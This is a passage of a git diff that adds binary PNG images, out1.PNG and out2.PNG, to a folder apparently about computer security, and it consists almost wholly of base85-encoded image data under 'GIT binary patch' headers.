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 literal 0 HcmV?d00001 diff --git a/6.计算机安全/static/out1.PNG b/6.计算机安全/static/out1.PNG new file mode 100644 index 0000000000000000000000000000000000000000..64143d7d07bc2eada162d72583a046131c966af0 GIT binary patch literal 3925 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 literal 0 HcmV?d00001 diff --git a/6.计算机安全/static/out2.PNG b/6.计算机安全/static/out2.PNG new file mode 100644 index 0000000000000000000000000000000000000000..7dfbd2df82b1565c003c8761929d3e38c0137f1a GIT binary patch literal 3873 zcmV++58m*JP)Fx;*aF~L=ul)f)Z-hc;vJ~pdM6?j74Ten^=u+~KOINVi zY*rU|Exuu>B@GlzV=zG978q%Q_aLlCfnkhyg-aB2u{||dK-&-tCr`Cmr=4>3b|K#J zE2?VY?iczfDJ41S_ps|nt#z3Fbk`8p42QEJaVhDXq^O&RttQd=uPWGFP4l-==s0v# z-9CtO-kbqJsEYNah=-A0777ZMry?Fcii)^y585qYWRL`Zspdfl3R_ZO5(X>5#4FyA ziiTNVY+erCb&RPY_%9H3c_AK~PnNym;uM81+^(M9mTz_<3lq7$y!oNi>nN8tExcVw zo9XQH!?_*BmM61XMZ6s^4cKNLK%VIueU!J~{QFdqvj%R4K3um=PH?~Tw{qzxx-*WsQ`L~#o*n}BE05!Jz#3o}38 zv|1*@FTC>KMvrRfeDNUr`RR2_7S1Hq4CuWI-*O0=@8V66K@Czf}uX{`)(+T_8cf7N>&>eyuRh1-rW7tCzG}1^CLny z)vW{sQPnh6P#8vFk>&6jYHM(Lg-`fL2uqJ1O@H^cmIpxuhG7ti#Gh1wnX*EoG@|{m z!7Mv4!h}Bm6{*NhS@a+Sp3Fe!qtG)hQPkh|Fw^*GbViDwt%~3j0d4vQTcudP&{uf( zYrL9Q`mYZQ?d_o0{?NVGlCaVv~9OovTmkg@!^+aX%b-Am?x=IXULqCdB{HjnZ*ypHf7Z zLsW--_svagwcqclY2hAv`6qT?;Iy>=p)KR;$w;Y9K?w=>-8Ir8p9)S};)S64c^HH^MSyKfd6~lt+5Qrn!tC}6QX9``a#y&8*)*_ciHZ6ky8=?@L}tvzr<<8 zUqi&8pIssHGF87Gxfcb33ix>S(p~`oFhpS98UQ2@#1#NY9*8RdkUS7q03dlFt^h#t z{wuC%lh*sj<#W6j{hKh1j9;+p)UAle>6vLsQGw@n7?0;aZG~m#?DoC;@Q(~mR#w7; z0I!WRSi+^z*n2`b`H4r3JM*|`OU`B%~>UAc6MfJ)HMe- zsr|JH>u){H?S6k=Zf?+4wT>-F6HLCjd_N&Ios%3BbYg?PT<59{`lRI^*Q3%hGdXeh zeRhAYfOenM$|E;pQ!}&T!+o9Rjs;JPfng^6{EDP(b^J$r4ZKb8*%QJV%lI?kJKu~y zt4Whqdz?PyRl9t{jWQn5S{8Tpa9Hu{>LyrT_p4*xXZE~Y=oa6#B9NxDdEd;Yq86bY z;4ggEtiJq`*RjF^YwOC(vh}`b*Wlx3vm>XLqBwcXyY}7l%5SbW4D4Jn2#>e%4OsHz zQ3>82=c_%wx2!v6GxuIOh3)8b<&4wIMTZlcNmCt8ealX8ve=wlH^$W6*UPhF`PQJn zc@R}^`)QZSe{46~_*BOH*cC6&iWOV#R17T%1_1gZ)WXmWY}btn+3gkIB={vs^D*gW1Vkp!Bot?)O;2aR@(jtL{Uu@ z&G{{+w3)!`avmj?%c`izArLy=aMpyE;kT13TX1e!w0}h9bhCM*5eOo&EzA{CZ(OY~ zJ?b<*#`k`efu+fK(EkO7lhFOeO*yf8lh4xz(JLjWS~}`j?$Z}tNrSMwrT62wgp8!y zwl$}>o=WL#ohVvgA6%I2{c}!B&)uo4xe)V5Y)r`I!)w{H9c>XTtED}*v{GS*|AV-+ z#F)Ehw#@9&pM+@BS6PmU4|(`cM;n7bk9}OJWwJ<33MH}hmdugQd7M(kgCMx)I(Ag) zQ)L8#S!(KXRfR<@S_X4x>5eaZSq!PFse-N`Fr0ea!8q2(N?TZNwv*e^s!N{1(fe?XZjn^(lqeC9Q;}=KNC!RliPkwh;O4hSD 